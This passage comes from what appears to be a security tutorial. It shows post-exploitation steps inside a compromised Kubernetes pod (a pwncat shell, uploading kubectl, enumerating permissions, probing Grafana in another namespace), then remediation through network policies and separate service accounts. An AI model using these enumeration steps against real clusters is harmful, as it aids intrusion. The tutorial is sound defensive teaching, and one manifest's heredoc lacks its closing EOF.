[15:11:15] <IP>:35812: registered new host w/ db                                                               manager.py:957
(local) pwncat$

Install `kubectl`

Once we have gained access to the pod, we want to discover additional Kubernetes resources.
For that, we'll need the kubectl command line tool. On your EC2 virtual machine, go ahead and run the following command. Please ensure you're in the same directory as in the other session where pwncat runs.

curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"

Next, upload the binary to the pod via pwncat. In the pwncat terminal, run:

upload kubectl

The upload might take a few seconds. Once finished, press CTRL+D to switch to the remote shell.

pwncat copied the binary into the WORKDIR of the container. Let's move it out of there first and make it executable:

mv kubectl /opt
cd /opt
chmod +x kubectl

Enumerate Kubernetes

Now that we're ready to investigate the system a bit closer let's start by looking at the currently available permissions:

./kubectl auth can-i --list

Turns out, we have a few different things we can do:

Resources                                       Non-Resource URLs                     Resource Names     Verbs
selfsubjectaccessreviews.authorization.k8s.io   []                                    []                 [create]
selfsubjectrulesreviews.authorization.k8s.io    []                                    []                 [create]
namespaces                                      []                                    []                 [get list]
pods                                            []                                    []                 [get list]
...

The output above indicates we can see namespaces and pods. Listing all pods returns this:

./kubectl get pods
NAME                                  READY   STATUS    RESTARTS        AGE
operator-56854d79f9-7xj49             1/1     Running   1 (7m45s ago)   67m
syringe-deployment-7d4bf479f5-qbnmq   1/1     Running   0               72m

We see the syringe pod, which is our current pod. It seems there's also some operator running.

Looking at namespaces:

./kubectl get ns
NAME              STATUS   AGE
default           Active   8d
grafana           Active   43m
kube-node-lease   Active   8d
kube-public       Active   8d
kube-system       Active   8d

Our current pod is one of many tenants. Besides system namespaces and default, there's also grafana. Some probing reveals:

curl -XGET -v -L http://grafana.grafana.svc.cluster.local:3000
Note: Unnecessary use of -X or --request, GET is already inferred.
*   Trying 10.100.173.100:3000...
* Connected to grafana.grafana.svc.cluster.local (10.100.173.100) port 3000 (#0)
> GET / HTTP/1.1
> Host: grafana.grafana.svc.cluster.local:3000
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 302 Found
< Cache-Control: no-cache
< Content-Type: text/html; charset=utf-8
< Expires: -1
< Location: /login
< Pragma: no-cache
< Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
< X-Content-Type-Options: nosniff
< X-Frame-Options: deny
< X-Xss-Protection: 1; mode=block
< Date: Thu, 07 Sep 2023 20:52:12 GMT
< Content-Length: 29
<
* Ignoring the response-body
* Connection #0 to host grafana.grafana.svc.cluster.local left intact
* Issue another request to this URL: 'http://grafana.grafana.svc.cluster.local:3000/login'
* Found bundle for host: 0x558871016900 [serially]
* Can not multiplex, even if we wanted to
* Re-using existing connection #0 with host grafana.grafana.svc.cluster.local
> GET /login HTTP/1.1
> Host: grafana.grafana.svc.cluster.local:3000
> User-Agent: curl/7.88.1
> Accept: */*
>
< HTTP/1.1 200 OK
< Cache-Control: no-cache
< Content-Type: text/html; charset=UTF-8
< Expires: -1
< Pragma: no-cache
< X-Content-Type-Options: nosniff
< X-Frame-Options: deny
< X-Xss-Protection: 1; mode=block
< Date: Thu, 07 Sep 2023 20:52:12 GMT
< Transfer-Encoding: chunked
....

We can access the service, even if it lives in another namespace, belonging to another application or team.

Why is accessing services in other namespaces problematic?

As an attacker, we gained access to a Kubernetes cluster by leveraging a command injection vulnerability in an application.
While we don't have cluster-admin permissions, running kubectl revealed enough information to discover other services that can potentially be exploited.

In this scenario, the other namespace contains a Grafana instance. Grafana could become another target to gain more access.
Thinking further, what if, instead of Grafana, we discovered a database instance? Depending on how secrets are stored and managed within the cluster, gaining access and stealing sensitive customer data might be straightforward.
Let's start making some changes to the system to prevent further access.

Remediation

The following steps will cover changes to the Kubernetes cluster itself to make it more difficult for attackers to gain access. In a real-world scenario, you would also ensure the application cannot be used as an attack vector by addressing the command injection vulnerability.

Restrict network access with network policies

Kubernetes' default network policy allows every application to talk to any other application within the cluster. A single cluster might host several different tenants, and in most cases, these tenants don't need to communicate with each other.
Therefore, we restrict network access to outbound domains and services that are needed.

Note: Kubernetes requires a Network plugin to enforce network policies. We choose Calico for this scenario.

Apply the following rules:

kubectl apply -f- <<EOF
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: default-deny
  namespace: default
spec:
  podSelector: {}
  policyTypes:
  - Egress
  - Ingress
---
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
  name: default-deny
  namespace: grafana
spec:
  podSelector: {}
  policyTypes:
  - Egress
  - Ingress
---
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: egress-allow
spec:
  podSelector:
    matchLabels:
      app: syringe
  egress:
    - to:
        - ipBlock:
            cidr: 0.0.0.0/0
  policyTypes:
    - Egress

The first two rules deny all network traffic, inbound, and output for the default and grafana namespace.
The last rule opens up traffic for outbound traffic leaving the cluster.
If this cluster hosted any additional applications that needed to communicate with Grafana, these would require different network rules.

Sharing Users

Using kubectl, we could verify the syringe pod could communicate with the Kubernetes API Server.
Since this pod only hosts regular application code, there's no need to extend privileges in the first place.

Why does the pod have these permissions, though?

Any pod running in Kubernetes has a service account associated.
The service account has certain privileges that determine if it can, for instance, access the API server to manage the cluster.
Kubernetes assigns a default service account if no other account is specified in the deployment yaml configuration.
In this case, both syringe and operator pods were deployed with the same account.

This case is an excellent example of why sharing service accounts across several applications is dangerous. The service account might have started with zero privileges but received additional ones once the operator pod started using it.

To remedy the situation, we created a new service account without privileges and assigned it to syringe.

kubectl apply -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
  name: syringe
EOF

kubectl apply -f- <<EOF
apiVersion: apps/v1
kind: Deployment
metadata:
  name: syringe-deployment
spec:
  replicas: 1
  selector:
    matchLabels:
      app: syringe
  template:
    metadata:
      labels:
        app: syringe
    spec:
      serviceAccountName: syringe
      automountServiceAccountToken: false
      containers:
        - name: syringe
          image: ghcr.io/schultyy/syringe:latest
          imagePullPolicy: Always
          ports:
            - containerPort: 3000
EOF

The next time we run kubectl within the pod, we'll notice that we lack permission to see other pods and namespaces.

We can even take this a step further. To authenticate with the API server, kubectl uses a service token, automatically mounted into the pod.
To reduce the potential to act even further, we can turn off auto-mounting this token in the first place via the viaautomountServiceAccountToken: false key in the code snippet above.

Next Steps

These are only the first steps towards a secure system. To summarize:

Make sure you define network rules to only allow necessary traffic
Pods that don't need to interact with the API server don't need permissions
Use separate service accounts for each deployment
Follow best practices when building Docker images

What other best practices do you use? Share them in the comments below.

Two approaches to make your APIs more secure

Jan Schulte — Fri, 01 Sep 2023 18:59:29 +0000

When you think about making your microservice architecture more secure, would you know where to start? There are so many ways to begin securing a system that it quickly becomes overwhelming.

Also make sure to check out this post to read a written walk-through!